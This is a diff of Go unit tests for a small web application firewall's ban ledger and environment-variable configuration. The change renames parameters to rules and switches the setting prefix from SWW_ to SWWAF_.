ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
@@ -146,7 +146,7 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
||||
func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||
|
||||
@@ -178,7 +178,7 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
||||
func TestFindCountsNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||
|
||||
@@ -200,9 +200,9 @@ func TestFindCountsNothing(t *testing.T) {
|
||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 3
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 3
|
||||
ledger := bans.New(rules)
|
||||
a := netip.MustParsePrefix("203.0.113.1/32")
|
||||
b := netip.MustParsePrefix("203.0.113.2/32")
|
||||
c := netip.MustParsePrefix("203.0.113.3/32")
|
||||
@@ -239,9 +239,9 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
|
||||
|
||||
// With room for one ban, the netblock's ended ban goes to make room for
|
||||
// its new one, whose notes still count it.
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 1
|
||||
ledger := bans.New(rules)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
@@ -258,7 +258,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
|
||||
func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||
|
||||
@@ -304,7 +304,7 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
||||
func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// A ban for a broken limit before does not count.
|
||||
@@ -336,7 +336,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
||||
func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||
wantChanged(t, ledger, true)
|
||||
@@ -380,7 +380,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
||||
func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
|
||||
@@ -414,7 +414,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
|
||||
func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// Three times the seven days would be permanent; a limit broken as the
|
||||
@@ -436,7 +436,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||
func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
long := strings.Repeat("a", 300)
|
||||
request := bans.Request{
|
||||
@@ -458,7 +458,7 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
||||
func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
other := netip.MustParsePrefix("198.51.100.7/32")
|
||||
|
||||
@@ -494,9 +494,9 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// defaultParams are the params at the settings' defaults.
|
||||
func defaultParams() bans.Params {
|
||||
return bans.Params{
|
||||
// defaultRules are the rules at the settings' defaults.
|
||||
func defaultRules() bans.Rules {
|
||||
return bans.Rules{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: day,
|
||||
MaxBanDuration: 7 * day,
|
||||
|
||||
@@ -15,7 +15,7 @@ const scenario = "crowdsecurity/ssh-bf"
|
||||
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
expires := midnight().Add(4 * time.Hour)
|
||||
|
||||
@@ -49,7 +49,7 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
||||
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
expires := midnight().Add(4 * time.Hour)
|
||||
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
||||
@@ -72,7 +72,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
// Three times the three days would be permanent; a limit broken as the
|
||||
|
||||
@@ -14,7 +14,7 @@ import (
|
||||
func TestChangedAfterABanIsMade(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
|
||||
wantChanged(t, ledger, false)
|
||||
@@ -38,7 +38,7 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
||||
func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
v6 := netip.MustParsePrefix("2001:db8::/64")
|
||||
high := netip.MustParsePrefix("203.0.113.10/32")
|
||||
low := netip.MustParsePrefix("203.0.113.9/32")
|
||||
@@ -67,14 +67,14 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
||||
func TestLoadedBansCarryOn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
before := bans.New(defaultParams())
|
||||
before := bans.New(defaultRules())
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
|
||||
|
||||
// Loaded into a new ledger, as across a restart, the ban still refuses
|
||||
// while it lasts, and once it has ended a broken limit bans for three
|
||||
// times as long, with the loaded ban counted among the earlier ones.
|
||||
after := bans.New(defaultParams())
|
||||
after := bans.New(defaultRules())
|
||||
after.Load(before.Snapshot())
|
||||
|
||||
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
||||
@@ -96,7 +96,7 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
||||
// Two entries as an admin might write them, with addresses not masked
|
||||
// to their lengths, the IPv6 one shorter than the /64 an IPv6 client's
|
||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{
|
||||
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
||||
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
||||
@@ -145,7 +145,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
||||
Expires: midnight().Add(time.Hour),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{permanent, ended})
|
||||
|
||||
now := midnight().Add(2 * time.Hour)
|
||||
@@ -173,7 +173,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
||||
func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A 9-hour ban sww made, the third in a row, and an admin's
|
||||
// A 9-hour ban smallwebwaf made, the third in a row, and an admin's
|
||||
// 1-hour ban added to bans.json over it, with no cause and no notes.
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
nineHours := bans.Ban{
|
||||
@@ -189,7 +189,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
||||
Expires: midnight().Add(2 * time.Hour),
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{nineHours, admins})
|
||||
|
||||
// Once both have ended, a limit broken within the repeat window bans
|
||||
@@ -219,9 +219,9 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
||||
Cause: bans.CauseLimit,
|
||||
}
|
||||
|
||||
params := defaultParams()
|
||||
params.MaxBans = 1
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 1
|
||||
ledger := bans.New(rules)
|
||||
ledger.Load([]bans.Ban{later, earlier})
|
||||
|
||||
held := ledger.Snapshot()
|
||||
@@ -235,9 +235,9 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
||||
|
||||
// Room for three bans, so that the second load, were it added to the
|
||||
// two bans held, would drop none of them to make room.
|
||||
params := defaultParams()
|
||||
params.MaxBans = 3
|
||||
ledger := bans.New(params)
|
||||
rules := defaultRules()
|
||||
rules.MaxBans = 3
|
||||
ledger := bans.New(rules)
|
||||
kept := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix("2001:db8::/64"),
|
||||
Start: midnight(),
|
||||
@@ -285,7 +285,7 @@ func TestLoadCutsTheTextsTo256Bytes(t *testing.T) {
|
||||
}},
|
||||
}
|
||||
|
||||
ledger := bans.New(defaultParams())
|
||||
ledger := bans.New(defaultRules())
|
||||
ledger.Load([]bans.Ban{ban})
|
||||
|
||||
cut := long[:256]
|
||||
|
||||
+295
-683
File diff suppressed because it is too large.
Load diff
+175
-433
@@ -23,100 +23,99 @@ import (
|
||||
|
||||
// The settings, by name.
|
||||
const (
|
||||
listenAddr = "SWW_LISTEN_ADDR"
|
||||
mode = "SWW_MODE"
|
||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
|
||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
tagLists = "SWW_TAG_LISTS"
|
||||
tagDeny = "SWW_TAG_DENY"
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
|
||||
blocklistURLs = "SWW_BLOCKLIST_URLS"
|
||||
blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
|
||||
blocklistAction = "SWW_BLOCKLIST_ACTION"
|
||||
dnsblZones = "SWW_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_DNSBL_RESOLVER"
|
||||
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
|
||||
abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
|
||||
abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
|
||||
reputationAction = "SWW_REPUTATION_ACTION"
|
||||
reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
|
||||
reputationTimeout = "SWW_REPUTATION_TIMEOUT"
|
||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||
banResponse = "SWW_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
||||
maxBans = "SWW_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||
stateDir = "SWW_STATE_DIR"
|
||||
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_METRICS_TOP_N"
|
||||
instanceName = "SWW_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
||||
logLevel = "SWW_LOG_LEVEL"
|
||||
rulesDir = "SWW_RULES_DIR"
|
||||
rulesEnabled = "SWW_RULES_ENABLED"
|
||||
wafMode = "SWW_WAF_MODE"
|
||||
wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
|
||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||
trapPaths = "SWW_TRAP_PATHS"
|
||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||
logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
|
||||
logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
|
||||
logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
|
||||
logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
|
||||
alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
|
||||
alertNtfyURL = "SWW_ALERT_NTFY_URL"
|
||||
alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
||||
alertEvents = "SWW_ALERT_EVENTS"
|
||||
alertCooldown = "SWW_ALERT_COOLDOWN"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
listenAddr = "SWWAF_LISTEN_ADDR"
|
||||
mode = "SWWAF_MODE"
|
||||
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWWAF_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWWAF_DENY_NETS"
|
||||
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR"
|
||||
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||
bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWWAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWWAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWWAF_BYTES_COUNT"
|
||||
lookupSource = "SWWAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWWAF_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS"
|
||||
deniedCountries = "SWWAF_DENIED_COUNTRIES"
|
||||
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT"
|
||||
countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
|
||||
asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL"
|
||||
blocklistURLs = "SWWAF_BLOCKLIST_URLS"
|
||||
blocklistRefresh = "SWWAF_BLOCKLIST_REFRESH"
|
||||
blocklistAction = "SWWAF_BLOCKLIST_ACTION"
|
||||
dnsblZones = "SWWAF_DNSBL_ZONES"
|
||||
dnsblResolver = "SWWAF_DNSBL_RESOLVER"
|
||||
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
|
||||
abuseIPDBMinScore = "SWWAF_ABUSEIPDB_MIN_SCORE"
|
||||
abuseIPDBDailyBudget = "SWWAF_ABUSEIPDB_DAILY_BUDGET"
|
||||
reputationAction = "SWWAF_REPUTATION_ACTION"
|
||||
reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL"
|
||||
reputationTimeout = "SWWAF_REPUTATION_TIMEOUT"
|
||||
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
|
||||
banResponse = "SWWAF_BAN_RESPONSE"
|
||||
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWWAF_MAX_BAN_DURATION"
|
||||
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
|
||||
maxBans = "SWWAF_MAX_BANS"
|
||||
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX"
|
||||
stateDir = "SWWAF_STATE_DIR"
|
||||
stateWriteDelay = "SWWAF_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL"
|
||||
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWWAF_METRICS_TOP_N"
|
||||
instanceName = "SWWAF_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
|
||||
logLevel = "SWWAF_LOG_LEVEL"
|
||||
rulesDir = "SWWAF_RULES_DIR"
|
||||
rulesEnabled = "SWWAF_RULES_ENABLED"
|
||||
wafMode = "SWWAF_WAF_MODE"
|
||||
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
|
||||
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
|
||||
exclusionsFile = "SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||
trapPaths = "SWWAF_TRAP_PATHS"
|
||||
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
|
||||
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
|
||||
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
|
||||
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
|
||||
logRemoteFacility = "SWWAF_LOG_REMOTE_FACILITY"
|
||||
logRemoteAppName = "SWWAF_LOG_REMOTE_APP_NAME"
|
||||
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
|
||||
alertWebhookHeaders = "SWWAF_ALERT_WEBHOOK_HEADERS"
|
||||
alertSlackWebhookURL = "SWWAF_ALERT_SLACK_WEBHOOK_URL"
|
||||
alertNtfyURL = "SWWAF_ALERT_NTFY_URL"
|
||||
alertNtfyToken = "SWWAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
||||
alertEvents = "SWWAF_ALERT_EVENTS"
|
||||
alertCooldown = "SWWAF_ALERT_COOLDOWN"
|
||||
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
|
||||
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWWAF_WATCH_NETS"
|
||||
)
|
||||
|
||||
// The anomaly thresholds: each of the prefixes below, which name a scope,
|
||||
// followed by each of the four ends.
|
||||
const (
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
watch = "SWW_WATCH_"
|
||||
anomalyClient = "SWWAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWWAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWWAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWWAF_ANOMALY_TOTAL_"
|
||||
watch = "SWWAF_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -157,21 +156,21 @@ func loggedAnomalyDefaults() map[string]string {
|
||||
return logged
|
||||
}
|
||||
|
||||
// defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
|
||||
// defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
|
||||
// defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and
|
||||
// defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN.
|
||||
const (
|
||||
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
|
||||
defaultAlertEvents = "ban,permanent_ban,waf_block,anomaly,reputation_hit," +
|
||||
"source_failure,file_error"
|
||||
defaultAlertCooldown = "15m"
|
||||
)
|
||||
|
||||
// defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
|
||||
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
|
||||
const defaultReputationCacheTTL = "24h"
|
||||
|
||||
// defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
|
||||
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
|
||||
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
|
||||
|
||||
// defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
|
||||
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
|
||||
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
||||
"content-type,origin,range"
|
||||
|
||||
@@ -196,10 +195,10 @@ const (
|
||||
otherToken = "fedcba9876543210fedcba9876543210"
|
||||
)
|
||||
|
||||
// instance is an SWW_INSTANCE_NAME that is a valid app name too, and
|
||||
// remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
|
||||
// instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and
|
||||
// remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines.
|
||||
const (
|
||||
instance = "fsn1app1/blog"
|
||||
instance = "fsn1app1/gitea"
|
||||
remoteURL = "syslog+udp://192.0.2.1:514"
|
||||
)
|
||||
|
||||
@@ -209,10 +208,7 @@ const off = "off"
|
||||
// enabled is true, as a setting's value.
|
||||
const enabled = "true"
|
||||
|
||||
// disabled is false, as a setting's value.
|
||||
const disabled = "false"
|
||||
|
||||
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
|
||||
// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE, and
|
||||
// fileSource the source that is the lookup database.
|
||||
const (
|
||||
defaultLookupSource = "geojs"
|
||||
@@ -259,12 +255,12 @@ func TestDefaults(t *testing.T) {
|
||||
AttackBanDuration: 7 * 24 * time.Hour,
|
||||
MaxBans: 5000,
|
||||
BanScopeV4Prefix: 32,
|
||||
StateDir: "/var/lib/sww",
|
||||
StateDir: "/var/lib/smallwebwaf",
|
||||
StateWriteDelay: 10 * time.Second,
|
||||
StateCounterInterval: 15 * time.Minute,
|
||||
MetricsToken: "",
|
||||
MetricsTopN: 50,
|
||||
RulesDir: "/etc/sww/rules.d",
|
||||
RulesDir: "/etc/smallwebwaf/rules.d",
|
||||
RulesEnabled: true,
|
||||
})
|
||||
wantLookupSettings(t, cfg, config.Config{
|
||||
@@ -278,13 +274,9 @@ func TestDefaults(t *testing.T) {
|
||||
wantNetblocks(t, cfg.AllowNets)
|
||||
wantNetblocks(t, cfg.RateLimitExemptNets)
|
||||
wantNetblocks(t, cfg.DenyNets)
|
||||
wantCountries(t, deniedCountries, cfg.DeniedCountries)
|
||||
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries)
|
||||
|
||||
if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || len(cfg.TagLimitPercent) != 0 {
|
||||
t.Errorf("tag settings %v, %v and %v by default, want all empty",
|
||||
cfg.TagLists, cfg.TagDeny, cfg.TagLimitPercent)
|
||||
}
|
||||
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil || hostname == "" || cfg.InstanceName != hostname {
|
||||
t.Errorf("%s is %q, want the host's name %q (%v)", instanceName,
|
||||
@@ -335,6 +327,7 @@ func TestValuesAsSet(t *testing.T) {
|
||||
rateLimitPerMinute: "60",
|
||||
rateLimitPerHour: "600",
|
||||
rateLimitPerDay: "6000",
|
||||
deniedCountries: "cn, RU,kp,Xk",
|
||||
allowedCountries: "de",
|
||||
banResponse: "429",
|
||||
limitBanDuration: "15m",
|
||||
@@ -349,7 +342,7 @@ func TestValuesAsSet(t *testing.T) {
|
||||
metricsToken: token,
|
||||
metricsTopN: "10",
|
||||
rulesDir: "/srv/waf-rules",
|
||||
